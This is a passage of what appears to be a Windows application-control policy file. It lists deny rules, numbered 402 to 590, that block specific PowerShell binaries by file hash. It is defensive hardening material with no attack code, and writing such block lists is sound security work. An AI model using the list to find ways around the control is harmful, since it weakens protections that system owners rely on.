      <Deny ID="ID_DENY_D_402" FriendlyName="PowerShellShell 402" Hash="B5AE0EAA5AF4245AD9B37C8C1FC5220081B92A13950C54D82E824D2D3B840A7C"/>
      <Deny ID="ID_DENY_D_403" FriendlyName="PowerShellShell 403" Hash="5E53A4235DC549D0195A9DDF607288CEDE7BF115"/>
      <Deny ID="ID_DENY_D_404" FriendlyName="PowerShellShell 404" Hash="FE57195757977E4485BF5E5D72A24EA65E33F8EAA7245381453960D5646FAF58"/>
      <Deny ID="ID_DENY_D_405" FriendlyName="PowerShellShell 405" Hash="014BC30E1FC12F270824F01DC7C934497A573124"/>
      <Deny ID="ID_DENY_D_406" FriendlyName="PowerShellShell 406" Hash="65B3B357C356DAE26E5B036820C193989C0F9E8E08131B3186F9443FF9A511E4"/>
      <Deny ID="ID_DENY_D_407" FriendlyName="PowerShellShell 407" Hash="128D7D03E4B85DBF95427D72EFF833DAB5E92C33"/>
      <Deny ID="ID_DENY_D_408" FriendlyName="PowerShellShell 408" Hash="EACFC615FDE29BD858088AF42E0917E4B4CA5991EFB4394FB3129735D7299235"/>
      <Deny ID="ID_DENY_D_409" FriendlyName="PowerShellShell 409" Hash="C7D70B96440D215173F35412D56CF9329886D8D3"/>
      <Deny ID="ID_DENY_D_410" FriendlyName="PowerShellShell 410" Hash="B00C54F1AA77D88335675EAF07ED834E68FD96DD7606914C2867F9C506AB0A56"/>
      <Deny ID="ID_DENY_D_411" FriendlyName="PowerShellShell 411" Hash="8287B536E8E63F024DE1248D0FE3E6A759E9ACEE"/>
      <Deny ID="ID_DENY_D_412" FriendlyName="PowerShellShell 412" Hash="B714D4A700A56BC1D4B3F59DFC1F5835CB97CBEF3927523BF71AF96B00F0FFA4"/>
      <Deny ID="ID_DENY_D_413" FriendlyName="PowerShellShell 413" Hash="6BC1E70F0EA84E88AC28BEAF74C10F3ABDF99209"/>
      <Deny ID="ID_DENY_D_414" FriendlyName="PowerShellShell 414" Hash="93CB3907D1A9473E8A90593250C4A95EAE3A7066E9D8A57535CBDF82AA4AD4C2"/>
      <Deny ID="ID_DENY_D_415" FriendlyName="PowerShellShell 415" Hash="AC9F095DD4AE80B124F55541761AA1F35E49A575"/>
      <Deny ID="ID_DENY_D_416" FriendlyName="PowerShellShell 416" Hash="0D8A0FB3BF3CF80D44ED20D9F1E7292E9EE5A49ABCE68592DED55A71B0ACAECE"/>
      <Deny ID="ID_DENY_D_417" FriendlyName="PowerShellShell 417" Hash="3C7265C3393C585D32E509B2D2EC048C73AC5EE6"/>
      <Deny ID="ID_DENY_D_418" FriendlyName="PowerShellShell 418" Hash="7F1E03E956CA38CC0C491CB958D6E61A52491269CDB363BC488B525F80C56424"/>
      <Deny ID="ID_DENY_D_419" FriendlyName="PowerShellShell 419" Hash="89CEAB6518DA4E7F75B3C75BC04A112D3637B737"/>
      <Deny ID="ID_DENY_D_420" FriendlyName="PowerShellShell 420" Hash="6581E491FBFF954A1A4B9CEA69B63951D67EB56DF871ED8B055193595F042B0D"/>
      <Deny ID="ID_DENY_D_421" FriendlyName="PowerShellShell 421" Hash="4BFB3F95CA1B79DA3C6B0A2ECB432059E686F967"/>
      <Deny ID="ID_DENY_D_422" FriendlyName="PowerShellShell 422" Hash="0C4688AACD02829850DE0F792AC06D3C87895412A910EA76F7F9BF31B3B4A3E9"/>
      <Deny ID="ID_DENY_D_423" FriendlyName="PowerShellShell 423" Hash="BDBE541D269EC8235563842D024F9E37883DFB57"/>
      <Deny ID="ID_DENY_D_424" FriendlyName="PowerShellShell 424" Hash="441076C7FD0AD481E6AC3198F08BE80EA9EB2926CA81D733F798D03DBEFD683E"/>
      <Deny ID="ID_DENY_D_425" FriendlyName="PowerShellShell 425" Hash="BDB3DAC80667A0B931835D5D658C08F236B413D1"/>
      <Deny ID="ID_DENY_D_426" FriendlyName="PowerShellShell 426" Hash="51287BACB692AAC5A8659774D982B304DC0C0B4A4D8F41CBCCD47D69796786DE"/>
      <Deny ID="ID_DENY_D_427" FriendlyName="PowerShellShell 427" Hash="EA157E01147629D1F59503D8335FB6EBC688B2C1"/>
      <Deny ID="ID_DENY_D_428" FriendlyName="PowerShellShell 428" Hash="14C160DF95736EC1D7C6C55B9D0F81832E8FE0DB6C5931B23E45A559995A1000"/>
      <Deny ID="ID_DENY_D_429" FriendlyName="PowerShellShell 429" Hash="272EF88BBA9B4B54D242FFE1E96D07DBF53497A0"/>
      <Deny ID="ID_DENY_D_430" FriendlyName="PowerShellShell 430" Hash="AFC0968EDCE9E5FC1BC392382833EBEF3265B32D3ECBB529D89A1DF33A31E9BD"/>
      <Deny ID="ID_DENY_D_431" FriendlyName="PowerShellShell 431" Hash="029198F05598109037A0E9E332EC052317E834DA"/>
      <Deny ID="ID_DENY_D_432" FriendlyName="PowerShellShell 432" Hash="70B4BB6C2B7E9237FB14ABBC94955012285E2CAA74F91455EE52809CDAD4E7FC"/>
      <Deny ID="ID_DENY_D_433" FriendlyName="PowerShellShell 433" Hash="5B8E45EECA32C2F0968C2252229D768B0DB796A0"/>
      <Deny ID="ID_DENY_D_434" FriendlyName="PowerShellShell 434" Hash="B4D336B32C27E3D3FEBE4B06252DDE9683814E7E903C98448972AAB7389DFC02"/>
      <Deny ID="ID_DENY_D_435" FriendlyName="PowerShellShell 435" Hash="6792915D3C837A39BD04AD169488009BB1EA372C"/>
      <Deny ID="ID_DENY_D_436" FriendlyName="PowerShellShell 436" Hash="23B10EC5FC7EAEB9F8D147163463299328FAED4B973BB862ECD3F28D6794DA9D"/>
      <Deny ID="ID_DENY_D_437" FriendlyName="PowerShellShell 437" Hash="EC41A3FB8D6E3B0F55F6583C14C45B6238753019"/>
      <Deny ID="ID_DENY_D_438" FriendlyName="PowerShellShell 438" Hash="76CA6B396796351685198D6189E865AFD7FB9E6C5CEFA9EA0B5F0A9F1FC98D57"/>
      <Deny ID="ID_DENY_D_439" FriendlyName="PowerShellShell 439" Hash="A15964475D213FB752B42E7DCDDBF4B14D623D14"/>
      <Deny ID="ID_DENY_D_440" FriendlyName="PowerShellShell 440" Hash="61A68B436D828193E0C7B44D2AF83D22A9CB557B90186E4E6AC998CE5E3BFE8A"/>
      <Deny ID="ID_DENY_D_441" FriendlyName="PowerShellShell 441" Hash="24F9CF6C5E9671A295AD0DEED74737FB6E9146DE"/>
      <Deny ID="ID_DENY_D_442" FriendlyName="PowerShellShell 442" Hash="C2E862CC578F54A53496EEE2DCB534A106AFD55C7288362AF6499B45F8D8755E"/>
      <Deny ID="ID_DENY_D_443" FriendlyName="PowerShellShell 443" Hash="F87C726CCB5E64C6F363C21255935D5FEA9E4A0E"/>
      <Deny ID="ID_DENY_D_444" FriendlyName="PowerShellShell 444" Hash="B7B42C3C8C61FD2616C16BBCF36EA15EC26A67536E94764D72A91CE04B89AAA4"/>
      <Deny ID="ID_DENY_D_445" FriendlyName="PowerShellShell 445" Hash="4EB2C3A4B551FC028E00F2E7DA9D0F1E38728571"/>
      <Deny ID="ID_DENY_D_446" FriendlyName="PowerShellShell 446" Hash="30EAC589069FB79D540080B04B7FDBB8A9B1DF4E96B9D7C98519E49A1ED56851"/>
      <Deny ID="ID_DENY_D_447" FriendlyName="PowerShellShell 447" Hash="2DF4350DE3C97C9D4FD2973F8C5EA8AE621D22A8"/>
      <Deny ID="ID_DENY_D_448" FriendlyName="PowerShellShell 448" Hash="015CE571E8503A353E2250D4D0DA19493B3311F3437527E6DDD2D2B6439FA2EB"/>
      <Deny ID="ID_DENY_D_449" FriendlyName="PowerShellShell 449" Hash="993425279D204D1D14C3EB989DEB4805ADC558CF"/>
      <Deny ID="ID_DENY_D_450" FriendlyName="PowerShellShell 450" Hash="BDADDD710E47EB8D24B78E542F3996B0EA2CA577ABD515785819302DB15839DD"/>
      <Deny ID="ID_DENY_D_451" FriendlyName="PowerShellShell 451" Hash="1A16008D330330182AA555B1D3E9BE0B2D6BECBF"/>
      <Deny ID="ID_DENY_D_452" FriendlyName="PowerShellShell 452" Hash="D7685E259D0328937487856A3AB68B6D9D420DD4E02541F4D71164DFA65B4644"/>
      <Deny ID="ID_DENY_D_453" FriendlyName="PowerShellShell 453" Hash="2CB781B3BD79FD277D92332ACA22C04430F9D692"/>
      <Deny ID="ID_DENY_D_454" FriendlyName="PowerShellShell 454" Hash="92AE03F0090C0A5DF329B4B3FFEDBA622B0521BA699FA303C24120A30ED4C9E6"/>
      <Deny ID="ID_DENY_D_455" FriendlyName="PowerShellShell 455" Hash="BA4B3A92123FBCE66398020AFBCC0BCA1D1AAAD7"/>
      <Deny ID="ID_DENY_D_456" FriendlyName="PowerShellShell 456" Hash="D8D361E3690676C7FDC483003BFC5C0C39FB16B42DFC881FB8D42A1064740B0B"/>
      <Deny ID="ID_DENY_D_457" FriendlyName="PowerShellShell 457" Hash="D5A9460A941FB5B49EAFDD57575CFB23F27779D3"/>
      <Deny ID="ID_DENY_D_458" FriendlyName="PowerShellShell 458" Hash="4BDAAC1654328E4D37B6ED89DA351155438E558F51458F2129AFFAC5B596CD61"/>
      <Deny ID="ID_DENY_D_459" FriendlyName="PowerShellShell 459" Hash="3E5294910C59394DA93962128968E6C23016A028"/>
      <Deny ID="ID_DENY_D_460" FriendlyName="PowerShellShell 460" Hash="DA700D4F58BCEA1D5A9CAD4F20AC725C6A354F9DA40E4F8F95E1C3DC7B84F550"/>
      <Deny ID="ID_DENY_D_461" FriendlyName="PowerShellShell 461" Hash="C30355B5E6FA3F793A3CC0A649945829723DD85C"/>
      <Deny ID="ID_DENY_D_462" FriendlyName="PowerShellShell 462" Hash="4EB14099165177F0F3A1FACE32E72CF2DD221DB44155E73AFF94CB7DA195EF22"/>
      <Deny ID="ID_DENY_D_463" FriendlyName="PowerShellShell 463" Hash="C647D17850941CFB5B9C8AF49A48569B52230274"/>
      <Deny ID="ID_DENY_D_464" FriendlyName="PowerShellShell 464" Hash="0BCBDE8791E3D6D7A7C8FC6F25E14383014E6B43D9720A04AF0BD4BDC37F79E0"/>
      <Deny ID="ID_DENY_D_465" FriendlyName="PowerShellShell 465" Hash="CA6E0BAB6B28E1592D0FC5940023C7A81E2568F8"/>
      <Deny ID="ID_DENY_D_466" FriendlyName="PowerShellShell 466" Hash="366E00E2F517D4D404133AEFEF6F917DFA156E3E46D350A8CBBE59BE1FB877A2"/>
      <Deny ID="ID_DENY_D_467" FriendlyName="PowerShellShell 467" Hash="7D9FFFA86DDCD227A3B4863D995456308BAC2403"/>
      <Deny ID="ID_DENY_D_468" FriendlyName="PowerShellShell 468" Hash="4439BBF61DC012AFC8190199AF5722C3AE26F365DEE618D0D945D75FD1AABF3C"/>
      <Deny ID="ID_DENY_D_469" FriendlyName="PowerShellShell 469" Hash="8FFDD4576F2B6D4999326CFAF67727BFB471FA21"/>
      <Deny ID="ID_DENY_D_470" FriendlyName="PowerShellShell 470" Hash="94630AB6F60A7193A6E27E312AF9B71DA265D42AD49465F4EEA11EBF134BA54A"/>
      <Deny ID="ID_DENY_D_471" FriendlyName="PowerShellShell 471" Hash="78B8454F78E216B629E43B4E40765F73BFE0D6C6"/>
      <Deny ID="ID_DENY_D_472" FriendlyName="PowerShellShell 472" Hash="498BB1688410EE243D61FB5C7B37457FA6C0A9A32D136AF70FAD43D5F37D7A81"/>
      <Deny ID="ID_DENY_D_473" FriendlyName="PowerShellShell 473" Hash="B1CF2A18B281F73FE6685B5CE74D1BA50BE9AFE5"/>
      <Deny ID="ID_DENY_D_474" FriendlyName="PowerShellShell 474" Hash="095B79953F9E3E2FB721693FBFAD5841112D592B6CA7EB2055B262DEB7C7008A"/>
      <Deny ID="ID_DENY_D_475" FriendlyName="PowerShellShell 475" Hash="8AF579DE1D7E590A13BD1DAE5BFDB39476068A05"/>
      <Deny ID="ID_DENY_D_476" FriendlyName="PowerShellShell 476" Hash="9917A3055D194F47AB295FA3F917E4BD2F08DDF45C04C65C591A020E1507A573"/>
      <Deny ID="ID_DENY_D_477" FriendlyName="PowerShellShell 477" Hash="DD64046BAB221CF4110FF230FA5060310A4D9610"/>
      <Deny ID="ID_DENY_D_478" FriendlyName="PowerShellShell 478" Hash="A55AF37229D7E249C8CAFED3432E595AA77FAF8B62990C07938220E957679081"/>
      <Deny ID="ID_DENY_D_479" FriendlyName="PowerShellShell 479" Hash="421D1142105358B8360454E43FD15767DA111DBA"/>
      <Deny ID="ID_DENY_D_480" FriendlyName="PowerShellShell 480" Hash="692CABD40C1EDFCB6DC50591F31FAE30848E579D6EF4D2CA0811D06B086CF8BE"/>
      <Deny ID="ID_DENY_D_481" FriendlyName="PowerShellShell 481" Hash="720D826A84284E18E0003526A0CD9B7FF0C4A98A"/>
      <Deny ID="ID_DENY_D_482" FriendlyName="PowerShellShell 482" Hash="CB5DF9D0D25571948C3D257882E07C7FA5E768448E0DEBF637E110F9FF575808"/>
      <Deny ID="ID_DENY_D_483" FriendlyName="PowerShellShell 483" Hash="2F587293F16DFCD06F3BF8B8348FF68827ECD307"/>
      <Deny ID="ID_DENY_D_484" FriendlyName="PowerShellShell 484" Hash="B2F4A5FE21D5961F464CAB3E88C0ED88154B0C1A422629474AD5C9EDC11880B6"/>
      <Deny ID="ID_DENY_D_485" FriendlyName="PowerShellShell 485" Hash="6DC048AFA50B5B1B0AD7DD3125AC83D46FED730A"/>
      <Deny ID="ID_DENY_D_486" FriendlyName="PowerShellShell 486" Hash="432F666CCE8CD222484E263AE02F63E0038143DD6AD07B3EB1633CD3C498C13D"/>
      <Deny ID="ID_DENY_D_487" FriendlyName="PowerShellShell 487" Hash="CD9D9789B3B31562C4BE44B6BEEA8815C5EDAE1F"/>
      <Deny ID="ID_DENY_D_488" FriendlyName="PowerShellShell 488" Hash="FCAF8DC3C7A5D3B29B19A9C5F89324BF65B50C440AC0316B08532CEA2F1FF9B0"/>
      <Deny ID="ID_DENY_D_489" FriendlyName="PowerShellShell 489" Hash="4F5D66B449C4D2FDEA532F9B5DBECA5ACA8195EF"/>
      <Deny ID="ID_DENY_D_490" FriendlyName="PowerShellShell 490" Hash="39F2F19A5C6708CE8CE4E1ABBEBA8D3D1A6220391CA86B2D319E347B46005C97"/>
      <Deny ID="ID_DENY_D_491" FriendlyName="PowerShellShell 491" Hash="A4390EF2D77F76DC4EFE55FF74EE1D06C303FDAE"/>
      <Deny ID="ID_DENY_D_492" FriendlyName="PowerShellShell 492" Hash="3246A0CB329B030DA104E04B1A0728DE83724B08C724FD0238CE4578A0245576"/>
      <Deny ID="ID_DENY_D_493" FriendlyName="PowerShellShell 493" Hash="E180486F0CC90AF4FB8283ADCF571884894513C8"/>
      <Deny ID="ID_DENY_D_494" FriendlyName="PowerShellShell 494" Hash="3800E38275E6BB3B4645CDAD14CD756239BB9A87EF261DC1B68072B6DB2850C0"/>
      <Deny ID="ID_DENY_D_495" FriendlyName="PowerShellShell 495" Hash="AC53AE4C8AB56D84393D67D820BEBDC3218739D3"/>
      <Deny ID="ID_DENY_D_496" FriendlyName="PowerShellShell 496" Hash="49580C9459C3917E6F982C8E0D753D293DFA2E4FD1152F78FF7C73CF8B422507"/>
      <Deny ID="ID_DENY_D_497" FriendlyName="PowerShellShell 497" Hash="00419E981EDC8613E600C939677F7B460855BF7E"/>
      <Deny ID="ID_DENY_D_498" FriendlyName="PowerShellShell 498" Hash="61B724BCFC3DA1CC1583DB0BC42EFE166E92D8D3CE91E58A29F7AEBEFAE2149F"/>
      <Deny ID="ID_DENY_D_499" FriendlyName="PowerShellShell 499" Hash="25F52340199A0EA352C8B1A7014BCB610B232523"/>
      <Deny ID="ID_DENY_D_500" FriendlyName="PowerShellShell 500" Hash="64D6D1F3A053908C5635BD6BDA36BC8E72D518C7ECE8DA761C0DDE70C50BB632"/>
      <Deny ID="ID_DENY_D_501" FriendlyName="PowerShellShell 501" Hash="F4DB0CDF3A3FD163A9B90789CC6D14D326AD609C"/>
      <Deny ID="ID_DENY_D_502" FriendlyName="PowerShellShell 502" Hash="5D249D8366077713024552CA8D08F164E975AFF89E8909E35A43F02B0DC66F70"/>
      <Deny ID="ID_DENY_D_503" FriendlyName="PowerShellShell 503" Hash="231A02EAB7EB192638BC89AB61A5077346FF22B9"/>
      <Deny ID="ID_DENY_D_504" FriendlyName="PowerShellShell 504" Hash="4D544170DE5D9916678EA43A7C6F796FC02EFA9197C6E0C01A1D832BF554F748"/>
      <Deny ID="ID_DENY_D_505" FriendlyName="PowerShellShell 505" Hash="A9745E20419EC1C90B23FE965D3C2DF028AF39DC"/>
      <Deny ID="ID_DENY_D_506" FriendlyName="PowerShellShell 506" Hash="71B5B58EAA0C90397BC9546BCCA8C657500499CD2087CD7D7E1753D54C07E71D"/>
      <Deny ID="ID_DENY_D_507" FriendlyName="PowerShellShell 507" Hash="15EF1F7DBC474732E122A0147640ACBD9DA1775C"/>
      <Deny ID="ID_DENY_D_508" FriendlyName="PowerShellShell 508" Hash="04724BF232D5F169FBB0DB6821E35D772619FB4F24069BE0EC571BA622ACC4D2"/>
      <Deny ID="ID_DENY_D_509" FriendlyName="PowerShellShell 509" Hash="7959AB2B34A5F490AD54782D135BF155592DF13F"/>
      <Deny ID="ID_DENY_D_510" FriendlyName="PowerShellShell 510" Hash="DD03CD6B5655B4EB9DD259F26E1585389804C23DB39C10122B6BC0E8886B4C2A"/>
      <Deny ID="ID_DENY_D_511" FriendlyName="PowerShellShell 511" Hash="CCA8C8FB699496BD50AE296B20CC9ADC3496DECE"/>
      <Deny ID="ID_DENY_D_512" FriendlyName="PowerShellShell 512" Hash="75E6C2DD81FE2664DF466C9C2EB0F923B0C6D992FF653B673793A896D8860957"/>
      <Deny ID="ID_DENY_D_513" FriendlyName="PowerShellShell 513" Hash="080DEC3B15AD5AFE9BF3B0943A36285E92BAF469"/>
      <Deny ID="ID_DENY_D_514" FriendlyName="PowerShellShell 514" Hash="F1391E78F17EA6097906B99C6F4F0AE8DD2E519856F837A3BCC58FBB87DAAE62"/>
      <Deny ID="ID_DENY_D_515" FriendlyName="PowerShellShell 515" Hash="B3B7A653DD1A10EE9A3D35C818D227E2E3C3B5FB"/>
      <Deny ID="ID_DENY_D_516" FriendlyName="PowerShellShell 516" Hash="43E2D91C0C6A8473BE178F1793E5E34966D700F71362297ECF4B5D46239603E3"/>
      <Deny ID="ID_DENY_D_517" FriendlyName="PowerShellShell 517" Hash="D82583F7D5EA477C94630AC5AAEB771C85BD4B0A"/>
      <Deny ID="ID_DENY_D_518" FriendlyName="PowerShellShell 518" Hash="9B0F39AB233628A971ACEC53029C9B608CAB99868F1A1C5ABE20BC1BD1C2B70E"/>
      <Deny ID="ID_DENY_D_519" FriendlyName="PowerShellShell 519" Hash="AAE22FD137E8B7217222974DCE60B9AD4AF2A512"/>
      <Deny ID="ID_DENY_D_520" FriendlyName="PowerShellShell 520" Hash="DAC9E963A3897D7F7AB2B4FEBBD4894A15441246639CE3E8EE74B0228F312742"/>
      <Deny ID="ID_DENY_D_521" FriendlyName="PowerShellShell 521" Hash="8DAB1D74CAEDBAA8D17805CF00D64A44F5831C12"/>
      <Deny ID="ID_DENY_D_522" FriendlyName="PowerShellShell 522" Hash="AC1CE3AA9023E23F2F63D5A3536294B914686057336402E059DEF6559D1CE723"/>
      <Deny ID="ID_DENY_D_523" FriendlyName="PowerShellShell 523" Hash="266896FD257AD8EE9FC73B3A50306A573714EA8A"/>
      <Deny ID="ID_DENY_D_524" FriendlyName="PowerShellShell 524" Hash="8E36BD08084C73AF674F2DAD568EE3BA2C85769FA7B3400CB62F7A7BD028BE9A"/>
      <Deny ID="ID_DENY_D_525" FriendlyName="PowerShellShell 525" Hash="2AB804E1FF982AE0EDB591BC61AA909CF32E99C5"/>
      <Deny ID="ID_DENY_D_526" FriendlyName="PowerShellShell 526" Hash="253120422B0DD987C293CAF5928FA820414C0A01622FD0EAF304A750FC5AEEFE"/>
      <Deny ID="ID_DENY_D_527" FriendlyName="PowerShellShell 527" Hash="25CA971D7EDFAA7A48FA19B8399301853809D7CC"/>
      <Deny ID="ID_DENY_D_528" FriendlyName="PowerShellShell 528" Hash="0A10C71CB5CC8A801F84F2CCD8041D13DB55711435388D9500C53D122688D4E5"/>
      <Deny ID="ID_DENY_D_529" FriendlyName="PowerShellShell 529" Hash="46E05FD4D62451C1DCB0287B32B3D77AD41544EA"/>
      <Deny ID="ID_DENY_D_530" FriendlyName="PowerShellShell 530" Hash="D86F930445F0715D0D7E4C3B089399280FBA2ACE0E4125BA5D3DAB9FAC1A6D3A"/>
      <Deny ID="ID_DENY_D_531" FriendlyName="PowerShellShell 531" Hash="479C9429691314D3E21E4F4CA8B95D5BD2BDDEDA"/>
      <Deny ID="ID_DENY_D_532" FriendlyName="PowerShellShell 532" Hash="2BA4E369D267A9ABDEBA50DA2CB5FC56A8EE4382C5BCFCFFD121350B88A6F0E1"/>
      <Deny ID="ID_DENY_D_533" FriendlyName="PowerShellShell 533" Hash="FF205856A3209227D571EAD4B8C1E611E7FF9924"/>
      <Deny ID="ID_DENY_D_534" FriendlyName="PowerShellShell 534" Hash="A63B38CE17DA60C4C431FC42C4507A0B7C19B384AC9E121E2988AD026E71ED63"/>
      <Deny ID="ID_DENY_D_535" FriendlyName="PowerShellShell 535" Hash="7FCB424E67DDAC49413B45D7DCD636AD70E23B41"/>
      <Deny ID="ID_DENY_D_536" FriendlyName="PowerShellShell 536" Hash="7E6F9A738520F78D1E9D0D0883FB07DD9188408CBE7C2937BDE1590F90C61753"/>
      <Deny ID="ID_DENY_D_537" FriendlyName="PowerShellShell 537" Hash="46936F4F0AFE4C87D2E55595F74DDDFFC9AD94EE"/>
      <Deny ID="ID_DENY_D_538" FriendlyName="PowerShellShell 538" Hash="9843DC862BC7491A279A09EFD8FF122EB23C57CA"/>
      <Deny ID="ID_DENY_D_539" FriendlyName="PowerShellShell 539" Hash="11F11FB1E57F299383A615D6A28436E02A1C1A83"/>
      <Deny ID="ID_DENY_D_540" FriendlyName="PowerShellShell 540" Hash="C593ABE79DFFB1504CFCDB1A6AD65D24996E7B97"/>
      <Deny ID="ID_DENY_D_541" FriendlyName="PowerShellShell 541" Hash="93E22F2BA6C8B1C09F100F9C0E3B06FAF2D1DDB6"/>
      <Deny ID="ID_DENY_D_542" FriendlyName="PowerShellShell 542" Hash="5A8D9712CF7893C335FFB7414748625D524227FE"/>
      <Deny ID="ID_DENY_D_543" FriendlyName="PowerShellShell 543" Hash="B5FFFEE20F25691A59F3894644AEF088B4845761"/>
      <Deny ID="ID_DENY_D_544" FriendlyName="PowerShellShell 544" Hash="3334059FF4484C43A5D08CEC3E43E2D27EDB927B"/>
      <Deny ID="ID_DENY_D_545" FriendlyName="PowerShellShell 545" Hash="00B6993F59990C3DFEA33584BDB050F91313B17A"/>
      <Deny ID="ID_DENY_D_546" FriendlyName="PowerShellShell 546" Hash="7518F60A0B33011D19873908559961F96A9B4FC0"/>
      <Deny ID="ID_DENY_D_547" FriendlyName="PowerShellShell 547" Hash="A1D1AF7675C2596D0DF977F57B54372298A56EE0F3E1FF2D974D387D7F69DD4E"/>
      <Deny ID="ID_DENY_D_548" FriendlyName="PowerShellShell 548" Hash="3C1743CBC43B80F5AF5B17239B03A8727B4BE81F14052BDE37685E2D54214071"/>
      <Deny ID="ID_DENY_D_549" FriendlyName="PowerShellShell 549" Hash="C7DC8B00F0BDA000D1F3CF0FBC7AB32D443C377C0130BB5153A0390E712DDDE5"/>
      <Deny ID="ID_DENY_D_550" FriendlyName="PowerShellShell 550" Hash="ED5A4747C8AEEB1AC2F4FDB8EB0B9BFC240F2B3C00BF7C6CDB372BFFEC0F8ABE"/>
      <Deny ID="ID_DENY_D_551" FriendlyName="PowerShellShell 551" Hash="939C291D4A2592209EC7664EC832670FA0AC1009F974F47489D866751F4B862F"/>
      <Deny ID="ID_DENY_D_552" FriendlyName="PowerShellShell 552" Hash="497A2D4207B2AE6EF09424591624A86A64A2C8E451389ED9A3256E6274556A7B"/>
      <Deny ID="ID_DENY_D_553" FriendlyName="PowerShellShell 553" Hash="732BC385B191C8436B42CD1441DC234FFDD5EC1BD18A32894F093EECA3DD8FBC"/>
      <Deny ID="ID_DENY_D_554" FriendlyName="PowerShellShell 554" Hash="CBD19FDB6338DB02299A3F3FFBBEBF216B18013B3377D1D31E51491C0C5F074C"/>
      <Deny ID="ID_DENY_D_555" FriendlyName="PowerShellShell 555" Hash="3A316A0A470744EB7D18339B76E786564D1E96130766A9895B2222C4066CE820"/>
      <Deny ID="ID_DENY_D_556" FriendlyName="PowerShellShell 556" Hash="68A4A1E8F4E1B903408ECD24608659B390B9E7154EB380D94ADE7FEB5EA470E7"/>
      <Deny ID="ID_DENY_D_557" FriendlyName="PowerShellShell 557" Hash="45F948AF27F4E698A8546027717901B5F70368EE"/>
      <Deny ID="ID_DENY_D_558" FriendlyName="PowerShellShell 558" Hash="2D63C337961C6CF2660C5DB906D9070CA38BCE828584874680EC4F5097B82E30"/>
      <Deny ID="ID_DENY_D_559" FriendlyName="PowerShellShell 559" Hash="DA4CD4B0158B774CE55721718F77ED91E3A42EB3"/>
      <Deny ID="ID_DENY_D_560" FriendlyName="PowerShellShell 560" Hash="7D181BB7A4A0755FF687CCE34949FC6BD6FBC377E6D4883698E8B45DCCBEA140"/>
      <Deny ID="ID_DENY_D_561" FriendlyName="PowerShellShell 561" Hash="C67D7B12BBFFD5FBD15FBD892955EA48E6F4B408"/>
      <Deny ID="ID_DENY_D_562" FriendlyName="PowerShellShell 562" Hash="1DCAD0BBCC036B85875CC0BAF1B65027933624C1A29BE336C79BCDB00FD5467A"/>
      <Deny ID="ID_DENY_D_563" FriendlyName="PowerShellShell 563" Hash="7D8CAB8D9663926E29CB810B42C5152E8A1E947E"/>
      <Deny ID="ID_DENY_D_564" FriendlyName="PowerShellShell 564" Hash="2E0203370E6E5437CE2CE1C20895919F806B4E5FEBCBE31F16CB06FC5934F010"/>
      <Deny ID="ID_DENY_D_565" FriendlyName="PowerShellShell 565" Hash="20E7156E348912C20D35BD4BE2D52C996BF5535E"/>
      <Deny ID="ID_DENY_D_566" FriendlyName="PowerShellShell 566" Hash="EB26078544BDAA34733AA660A1A2ADE98523DAFD9D58B3995919C0E524F2FFC3"/>
      <Deny ID="ID_DENY_D_567" FriendlyName="PowerShellShell 567" Hash="B9DD16FC0D02EA34613B086307C9DBEAC30546AF"/>
      <Deny ID="ID_DENY_D_568" FriendlyName="PowerShellShell 568" Hash="DE5B012C4DC3FE3DD432AF9339C36EFB8D54E8864493EA2BA151F0ADBF3E338C"/>
      <Deny ID="ID_DENY_D_569" FriendlyName="PowerShellShell 569" Hash="6397AB5D664CDB84A867BC7E22ED0789060C6276"/>
      <Deny ID="ID_DENY_D_570" FriendlyName="PowerShellShell 570" Hash="B660F6CA0788DA18375602537095C378990E8229B11B57B092AC8A550E9C61E8"/>
      <Deny ID="ID_DENY_D_571" FriendlyName="PowerShellShell 571" Hash="3BF717645AC3986AAD0B4EA9D196B18D05199DA9"/>
      <Deny ID="ID_DENY_D_572" FriendlyName="PowerShellShell 572" Hash="364C227F9E57C72F9BFA652B8C1DE738AB4747D0DB68A7B899CA3EE51D802439"/>
      <Deny ID="ID_DENY_D_573" FriendlyName="PowerShellShell 573" Hash="3A1B06680F119C03C60D12BAC682853ABE430D21"/>
      <Deny ID="ID_DENY_D_574" FriendlyName="PowerShellShell 574" Hash="850759BCE4B66997CF84E84683A2C1980D4B498821A8AB9C3568EB298B824AE3"/>
      <Deny ID="ID_DENY_D_575" FriendlyName="PowerShellShell 575" Hash="654C54AA3F2C74FBEB55B961FB1924A7B2737E61"/>
      <Deny ID="ID_DENY_D_576" FriendlyName="PowerShellShell 576" Hash="B7EA81960C6EECFD2FF385890F158F5B1CB3D1E100C7157AB161B3D23DCA0389"/>
      <Deny ID="ID_DENY_D_577" FriendlyName="PowerShellShell 577" Hash="496F793112B6BCF4B6EA16E8B2F8C3F5C1FEEB52"/>
      <Deny ID="ID_DENY_D_578" FriendlyName="PowerShellShell 578" Hash="E430485B577774825CEF53E5125B618A2608F7BE3657BB28383E9A34FCA162FA"/>
      <Deny ID="ID_DENY_D_579" FriendlyName="PowerShellShell 579" Hash="6EA8CEEA0D2879989854E8C86CECA26EF79F7B19"/>
      <Deny ID="ID_DENY_D_580" FriendlyName="PowerShellShell 580" Hash="8838FE3D8E2505F3D3D8B98C64739115838A0B443BBBBFB487342F1EE7801360"/>
      <Deny ID="ID_DENY_D_581" FriendlyName="PowerShellShell 581" Hash="28C5E53DE197E872F7E4772BF40F728F56FE3ACC"/>
      <Deny ID="ID_DENY_D_582" FriendlyName="PowerShellShell 582" Hash="3493DAEC6EC03E56ECC4A15432C750735F75F9CB38D8779C7783B4DA956BF037"/>
      <Deny ID="ID_DENY_D_585" FriendlyName="PowerShellShell 585" Hash="DBB5A6F5388C574A3B5B63E65F7810AB271E9A77"/>
      <Deny ID="ID_DENY_D_586" FriendlyName="PowerShellShell 586" Hash="6DB24D174CCF06C9138B5A9320AE4261CA0CF305357DEF1B7054DD84758E92AB"/>
      <Deny ID="ID_DENY_D_587" FriendlyName="PowerShellShell 587" Hash="757626CF5D444F5A4AF79EDE38E9EF65FA2C9802"/>
      <Deny ID="ID_DENY_D_588" FriendlyName="PowerShellShell 588" Hash="1E17D036EBB5E82BF2FD5BDC3ABAB08B5EA9E4504D989D2BAAAA0B6047988996"/>
      <Deny ID="ID_DENY_D_589" FriendlyName="PowerShellShell 589" Hash="2965DC840B8F5F7ED2AEC979F21EADA664E3CB70"/>
      <Deny ID="ID_DENY_D_590" FriendlyName="PowerShellShell 590" Hash="5449560095D020687C268BD34D9425E7A2739E1B9BFBC0886142519293E02B9D"/>
